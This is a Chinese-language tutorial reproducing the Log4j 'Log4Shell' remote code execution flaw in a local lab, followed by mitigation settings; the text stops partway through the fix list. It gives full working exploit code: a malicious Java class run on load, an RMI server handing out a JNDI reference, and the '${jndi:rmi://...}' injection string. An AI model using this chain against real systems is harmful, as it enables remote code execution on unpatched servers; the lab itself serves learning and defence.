2021年12月10日淩晨,Apache 開源項目 Log4j 的遠端代碼執行漏洞細節被公開,漏洞編号:CVE-2021-44228,名稱:Log4Shell。由于 Log4j 的廣泛使用,該漏洞一旦被攻擊者利用會造成嚴重危害。關于漏洞的細節想必大家都很感興趣,我們這邊直接用代碼來複現漏洞。
目錄
實驗環境
操作步驟
準備惡意對象
啟動HTTP伺服器
啟動RMI伺服器
啟動Client
項目代碼
漏洞修複
實驗環境
java版本 : 1.8.0_91
python版本: 3.10.1 (python版本與此次實驗無強關聯,隻是為了搭建http伺服器)
log4j版本 : 2.14.1
實驗概覽:
此次采用rmi注入,主要有這三個部分。
Client:模拟受攻擊的伺服器,執行log4j的日志
HTTP伺服器:用于上傳注入的代碼,并傳回給Client
RMI伺服器:用于接收Client發送的rmi請求,并傳回遠端對象位址
惡意對象:在這個對象的靜态代碼塊中寫入想要執行的代碼,如cmd指令。Client在加載對象時,由于預設執行靜态代碼塊,cmd指令也會被執行。
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiI0gTMx81dsQWZ4lmZf1GLlpXazVmcvwFciV2dsQXYtJ3bm9CX9s2RkBnVHFmb1clWvB3MaVnRtp1XlBXe0xCMy81dvRWYoNHLwEzX5xCMx8FesU2cfdGLwMzX0xiRGZkRGZ0Xy9GbvNGLpZTY1EmMZVDUSFTU4VFRR9Fd4VGdsYTMfVmepNHLrJXYtJXZ0F2dvwVZnFWbp1zczV2YvJHctM3cv1Ce-cmbw5iM1kDNzMmNxkTOhNGMiZGNzYzX2QTOwYTM5EzLcBTMyIDMy8CXn9Gbi9CXzV2Zh1WavwVbvNmLvR3YxUjLyM3Lc9CX6MHc0RHaiojIsJye.png)
操作步驟
接下來是各部分的代碼展示,我們按照啟動順序展開
準備惡意對象
這是對象EviObj的代碼,這裡為了更好的示範,我們隻是簡單的執行一個calc指令(windows系統指令),調用電腦。如果大家不是windows的話,自行修改為其他指令。
public class EvilObj {
static {
try{
// open the calc
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
準備好代碼後,我們編譯成class
執行javac EvilObj.java 獲得EvilObj.class
啟動HTTP伺服器
這裡為了示範友善,我們直接用python3自帶的SimpleHTTPServe來啟動,指令如下
python -m http.server 6666
同時将EvilObj.class放在http伺服器的根目錄,也就是執行該python指令的所在目錄。
啟動RMI伺服器
這裡為了示範友善我rmi伺服器也起在本地,監聽端口1099,同時傳回http伺服器的位址為127.0.0.1:6666
代碼如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
執行Main方法啟動
啟動Client
模拟收到攻擊,列印惡意日志
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Main {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
// 執行該日志注入
log.error("${jndi:rmi://127.0.0.1:1099/evil}");
}
}
啟動後可以看到,成功調用了電腦
項目代碼
漏洞修複
漏洞修複的方式較多,這裡列出一些主要方式,随時會更新。
出現漏洞的log4j版本為 version <= 2.14.1,雖然漏洞一爆出來,log4j官方就釋出新版本2.15.0,但是目前還是不停的在出rc版本。截至目前12月14号已經釋出到了2.16.0 ,建議更新最新版本搭配以下任意一種方式修複。
1、設定配置參數:
log4j2.formatMsgNoLookups=true
2、修改JVM參數:
-Dlog4j2.formatMsgNoLookups=true
3、修改系統環境變量: